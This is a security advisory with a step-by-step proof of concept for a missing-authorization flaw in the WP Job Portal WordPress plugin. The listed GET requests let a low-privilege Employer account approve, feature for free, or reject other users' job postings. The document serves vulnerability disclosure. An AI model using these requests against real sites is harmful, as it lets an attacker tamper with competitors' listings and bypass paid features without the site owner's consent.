WP Job Portal < 2.5.5 – Subscriber+ Arbitrary Job Approval, Featuring and Rejection | CVE 2026-12396

Description

The plugin does not perform capability or ownership checks before allowing job moderation actions, allowing authenticated users with a subscriber-level (self-registerable) account to approve, feature, or reject arbitrary jobs, including those owned by other users.

Proof of Concept

Prerequisite: an authenticated account holding the plugin Employer role (created via the plugin's front-end "Register as Employer" form), holding no manage_options capability.

Step 1 - As the Employer, load the front-end "Post a Job" page and read the job nonce the plugin renders to this role:

   GET /employer/?wpjobportalme=job&wpjobportallt=addjob
   (the page contains the hidden field: name="_wpnonce" id="_wpnonce" value="NONCE")

Step 2 - Approve and publish a queued job the attacker does NOT own (bypassing admin moderation). status changes from 0 (queued) to 1 (published):

   GET /?action=wpjobportaltask&wpjobportalme=job&task=approveQueueJob&id=TARGET_JOB&_wpnonce=NONCE

Step 3 - Grant a job the "featured" (paid) placement for free. isfeaturedjob changes from 0 to 1:

   GET /?action=wpjobportaltask&wpjobportalme=job&task=approveQueueFeaturedJob&id=TARGET_JOB&_wpnonce=NONCE

Step 4 - Reject (unpublish) any other employer's live job. status changes from 1 (published) to -1 (rejected), removing it from public listings:

   GET /?action=wpjobportaltask&wpjobportalme=job&task=rejectQueueJob&id=COMPETITOR_JOB&_wpnonce=NONCE

Each handler returns HTTP 302. Negative control: the equivalent resume/company queue task (e.g. task=approveQueueResume) is rejected because those handlers enforce an administrator check, confirming the Employer has no plugin-moderation rights and only the job handlers omit the check.